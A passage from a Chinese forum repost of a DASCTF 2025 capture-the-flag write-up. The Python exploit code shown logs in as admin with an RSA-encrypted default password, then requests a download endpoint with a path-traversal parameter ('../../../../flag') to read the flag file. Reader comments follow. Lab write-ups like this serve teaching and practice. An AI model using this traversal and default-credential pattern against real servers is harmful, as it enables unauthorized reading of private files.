[*] 响应头信息: {response.headers}")                # 处理响应内容      if response.status_code == 200:            # 判断是否是文件下载            if 'Content-Disposition' in response.headers:                # 提取文件名并保存文件                content_disposition = response.headers.get('Content-Disposition', '')                filename = re.search(r'filename=["\']?([^"\']+)["\']?', content_disposition)                save_filename = filename.group(1) if filename else 'app.jmx'                              # 保存文件到本地                with open(save_filename, 'wb') as f:                  for chunk in response.iter_content(chunk_size=8192):                        f.write(chunk)                print(f"
[*] 文件下载成功,已保存为: {save_filename}")            else:                # 非文件下载,打印响应内容                print(f"
[*] 下载URL响应内容: {response.text[:2000]}")# 只打印前2000字符避免过长      else:            print(f"[!] 下载URL访问失败,状态码: {response.status_code}")            print(f"[!] 响应内容: {response.text}")                print("-" * 80)      return response      except Exception as e:      raise RuntimeError(f"访问下载URL失败: {str(e)}")if __name__ == "__main__":    # 创建会话对象(保持cookie、会话状态)    session = requests.Session()      # 1. 定义需要加密的原始密码    original_password = "123456"    print(f"
[*] 原始密码: {original_password}")    print("-" * 80)      # 2. 使用RSA加密密码    try:      encrypted_password = rsa_encrypt_pkcs1v15_jseencrypt(original_password, PUBLIC_KEY_STR)      print(f"
[*] RSA加密后的密码: {encrypted_password}")      print("-" * 80)    except RuntimeError as e:      print(f"[!] 密码加密失败: {e}")      exit(1)      # 3. 发送登录请求(使用加密后的密码)并处理path访问    try:      login_response = send_login_request("admin", encrypted_password, session)    except Exception as e:      print(f"[!] 登录请求处理失败: {e}")      exit(1)      # 4. 访问/download路径,自动生成sign(携带登录后的会话信息)    try:      # 指定file参数值,自动生成对应的sign      file_param = "../../../../../../../../../flag"      download_response = visit_download_url(session, file_param)    except Exception as e:      print(f"[!] 下载URL访问处理失败: {e}")      exit(1)https://img2024.cnblogs.com/blog/3588329/202512/3588329-20251208160535738-565260521.png
得到flag文件
https://img2024.cnblogs.com/blog/3588329/202512/3588329-20251208160536302-2118057403.png

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

魁睥 发表于 4 天前

收藏一下   不知道什么时候能用到

喳谍 发表于 昨天 10:32

感谢,下载保存了
页: [1]
查看完整版本: DASCTF 2025下半年赛 OnePanda战队WP